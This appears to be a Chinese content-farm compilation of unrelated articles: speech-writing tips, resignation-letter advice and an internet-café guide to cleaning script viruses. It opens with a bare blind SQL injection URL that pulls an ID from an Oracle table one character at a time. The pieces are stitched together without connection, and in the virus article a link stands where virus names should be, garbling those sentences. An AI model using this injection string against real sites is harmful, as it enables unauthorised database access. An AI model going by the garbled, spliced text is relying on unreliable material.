www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

篇7：python实现问号表达式(?)的方法

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篇8：轻松写出演讲稿的方法

轻松写出演讲稿的方法

写出演讲稿的方法一：演讲稿的开头写作。

由于在整个演讲稿中的显要地位，以及特殊的作用，一般来说在开头部分，演讲者要引入他所要阐释的主题，使听众心中有数;另一方面好的开头还要能抓住听众，通过一定技巧使听众有继续听下去的兴致。但如果故弄玄虚，乱加渲染，就会弄巧成拙，甚至事与愿违，引起听众的反感。同时，演讲稿的开头部分也从侧面反映出了演讲者的文风，所以演讲内容不同，开头的方式也可以灵活选择。

实践表明，演讲稿的开头可用“凤头”来概括，力求小巧美丽。正如古人所说：“善于始者，成功已半。”好的开头，能唤起听众的兴趣和求知欲，产生巨大的吸引力，紧紧抓住听众的兴头，使听众非听下去不可。好的开头，能为全篇演讲定下基调——是庄重严肃，还是喜庆欢快，抑或诙谐幽默，往往一开始就给人以清晰的印象。好的开头，画龙点睛，勾勒提要，能自然顺畅地引领下文，把听众带进声情并茂的演讲情景中去，造成有利于接受演讲观点的心理定势。

写出演讲稿的方法二：演讲稿的主体写作。

演讲稿的主体是指开头和结尾之间的文字，这是演讲的主要部分。主体演讲得如何，决定着本篇演讲质量的好坏，论点是否令人信服，决定于主体的阐述。“猪肚”，大而丰，有血有肉，是演讲稿主体的鲜明特点。

演讲内容上有详有略，篇幅上有长有短，这样才能使整篇演讲显得有重点。演讲稿的重点，或是要让听众了解的重要信息或是希望取得听众赞同的看法、认识，或是领导者期望下属心领神会并在行动中加以贯彻执行和大力推广的意志、意图，随演讲内容的不同而各有所异。如果在演讲稿的篇首提出了重点，那么在主体部分还要进一步加以详细阐述，否则演讲一结束，听众就把重点忘了。

演讲稿主体，篇幅较大。要使演讲的观点站得住，立得牢，就必须做到内容充实丰满，有血有肉，要围绕中心论点，处理好论点与论据间的关系，合乎逻辑地逐层展开论述，做到结构有力，层次清楚，过渡自然。最理想的效果就是着重讲演的'部分也正是听众印象最深、感触最多的部分。重点表现在一两个问句上的情况很少，绝大部分是集中在由几个段落结合而成的一个层次、一个部分，或集中在一个层次、一个部分的某几个段落上。重点集中是一个办法，也可以重点分散在全篇各部分中，层层展开，但必须做到“形散而神不散”。

写出演讲稿的方法三：演讲稿的结尾写作。

结尾是演讲内容的自然收束，是演讲稿的有机组成部分，万万不可忽视，有的演讲者在结尾处要么草草收兵，要么画蛇添足，要么采用陈词滥调的套话。“豹尾”就是对于演讲稿结尾而言的，应雄健有力、言止意长。

明代学者黄政枢说：“好的结尾，有如咀嚼干果，品尝香茗，令人回味再三。”可见结尾和开头一样重要。如果演讲的开头和高潮很精彩，结尾又出人意料，耐人寻味，则是锦上添花，给人以美的享受。

如古希腊著名演说家德摩斯梯尼发表的《斥腓力演说》这样结尾：“敌人正在对我们铺罗设网，四面合围，而我们却还呆坐着不求应付。同胞们，我们究竟要到什么时候才能采取行动。当雅典的航船尚未覆灭之时，船上的人无论大小都应该动手救亡。一旦巨浪翻上船舷，那就一切都会同归于尽……即使所有民族同意忍受奴役，就在那个时候我们也要为自己而战斗。辞令的灵魂就是行动!行动!再行动!”

篇9：写出艺术性辞职信的方法

写出艺术性辞职信的方法

现在，工作的压力，工资待遇的问题可能让你对工作很不满意，但是你不久就可能请现在的同事帮忙写推荐信，所以不要毁掉任何关系。当你准备离开的时候，使用以下的一些秘诀来写你的辞职信。你会在《繁忙行政人员的书信范文手册)中找到更多的灵感。

在辞职信的开头先告知你要走了。可以考虑用“我会在10月份某个你觉得方便的时候离开。”开门见山远甚于冗长的开场白，那会让人觉得你是在耍阴谋诡计。让公司决定你的离开日期，不要因为是辞掉旧工作，就觉得早走几天对未来无关紧要，这会成为你履历中最新的`一处亮点。

告诉他们你为什么要走。母亲说，“永远不要说谎，”但是她也说过，永远不要伤害别人的感情。在这种情况下，消极的情绪还是留给自己。可以说得含糊些，“我打算追求其他方面的爱好。”如果你坚持要公开抱怨，最好面对面，而不要写在信上。白纸黑字所具有的杀伤力可以让死人醒过来。

对过去接受的培训、取得的经验或者建立的关系向公司表示感谢。即便你真的生气或者不高兴，找些好的方面说。我认识的一个人在他的辞职信中说，他以前工作的公司有真正的好地毯，谁知道是真是假。

保持联络管道。你最不希望看到的是在新公司从前的不愉快再次发生，但是要知道，新公司不断在失败，风险项目常常不了了之，你可以面临几百种方式眼睁睁瞧着自己的新机会成为泡影。所以信中用最后几行保持联络渠道。可以这么写，“我希望我们能再有共事的机会。”希望不会是这样。但是你没有必要埋葬你的机会。

虽然你现在要辞职了，但是你应该为自已保留更多的路子，如果你让你现在的工作一直不熄火，你的事业就不会以失败告终。

篇10：几种脚本病毒的杀毒方法

有过网吧或者机房管理经验朋友肯定知道，如果机子中了病毒的话是很让人头疼的事情，现在的病毒大多都具有复制能力特别强，能够通过局域网传播，，大量耗费系统资源等特点，一个局域网内只要有一台机子中了病毒，如果不及时的杀毒和隔离的话，其他的机子很快便会感染病毒，如何防止病毒，和快速的杀毒成了每个网管所迫切考虑的事情，

其实网吧内的常见的病毒有两种，一种是类似与CIH的病毒这种高破坏性的病毒，中了之后系统会无法启动，这种病毒的危害大，但是中毒的几率相对很少；另一中就是www.pcdu.net/anquan/AntiVirus/。这类病毒一味的耗费系统资源，直到系统崩溃死机，比起CIH病毒来说，它们看似很不起眼，但却做让人头疼。有没有克制www.pcdu.net/anquan/AntiVirus/的方法呢？笔者在实践中总结了以下几条经验。

第一，装系统的时候要用光盘启动硬盘来装，光盘要保证以前用过的没有携带病毒的，硬盘一定要没有任何文件，否则残留的文件里面很可能就感染了病毒，这一点一定要毫不留情，不要为了要备份一个驱动或者一个软件不把它删除，

否则你刚装完系统发现已经中了病毒，那可就后悔莫及了。

第二，装完系统后，再装驱动之前，最好先用装个杀毒软件，杀毒软件首先要保证自己没有病毒，其实你可以把WIN98安装文件，杀毒软件等，网吧机器的驱动放在一起用EasyBoot做个启动光盘。有了这张盘，你在装其他软件和游戏之前就可以保证母盘不感染病毒了。

第三，装好驱动后先上网把杀毒软件更新到最新，然后开着病毒防火墙，从事先准备好的机器上调用软件和游戏的安装文件来安装网吧的必备软件和常玩的游戏，一切都弄好后测试一遍游戏和软件，然后在C盘目录下建立一个ADMIN的文件夹，把专杀工具包，硬盘工具包，网络克隆工具，还有备份的注册表放到里面备用。一般样板盘做成这样就很好了，当然如果系统配置不高，为了不影响玩游戏的速度，在克隆完之后要把病毒防火墙的自启动取消。

装杀毒软件不是让它老开着防火墙，因为一来它耗费系统资源，二来平时安装着还原精灵，有病毒重启一下就好了，它主要用在以后升级游戏或者调用文件的时候把防火墙打开防止调用文件中的病毒感染系统，更何况人非圣贤，孰能无过，再谨慎的人也不会保证以后肯定不会出病毒，所以一定要为每台机子装上杀毒工具，但平时没必要启用它的保护功能。

在网络上的人肯定都中过爱情森林，新欢乐时光等这些顽固的病毒，尤其是在局域网里，往往是所有的机子都感染病毒，每个机子能杀出几百个到上千个病毒，我曾经在一台机子上用瑞星杀出过8000多个病毒。

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